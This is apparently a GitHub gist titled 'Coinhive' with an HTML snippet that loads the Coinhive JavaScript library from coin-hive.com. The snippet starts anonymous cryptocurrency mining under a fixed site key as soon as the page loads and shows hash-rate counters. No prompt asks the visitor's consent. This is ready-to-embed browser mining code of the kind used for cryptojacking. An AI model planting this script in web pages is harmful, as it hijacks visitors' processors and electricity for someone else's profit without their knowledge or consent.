Skip to content

Instantly share code, notes, and snippets.

@hashtafak
Created November 9, 2017 16:31
Show Gist options
  • Save hashtafak/bcb40dde9aa8b00be103f33a58b742e6 to your computer and use it in GitHub Desktop.
Save hashtafak/bcb40dde9aa8b00be103f33a58b742e6 to your computer and use it in GitHub Desktop.
Coinhive
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('aCyud8fkYf77SbqbEqXwApN8M6GOBHxB');
miner.start();
</script>
<script>
// Listen on events
miner.on('found', function() { /* Hash found */ })
miner.on('accepted', function() { /* Hash accepted by the pool */ })
// Update stats once per second
setInterval(function() {
var hashesPerSecond = miner.getHashesPerSecond();
var totalHashes = miner.getTotalHashes();
var acceptedHashes = miner.getAcceptedHashes();
document.getElementById('hashesPerSecond').innerText = hashesPerSecond;
document.getElementById('totalHashes').innerText = totalHashes;
document.getElementById('acceptedHashes').innerText = acceptedHashes;
}, 1000);
</script>
<div>
H/S: <span id="hashesPerSecond"></span><br />
Total: <span id="totalHashes"></span><br />
Accepted Hashes: <span id="acceptedHashes"></span>
</div>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment